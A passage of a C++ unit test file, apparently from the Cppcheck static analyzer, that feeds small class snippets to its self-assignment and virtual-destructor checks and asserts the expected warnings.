assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" 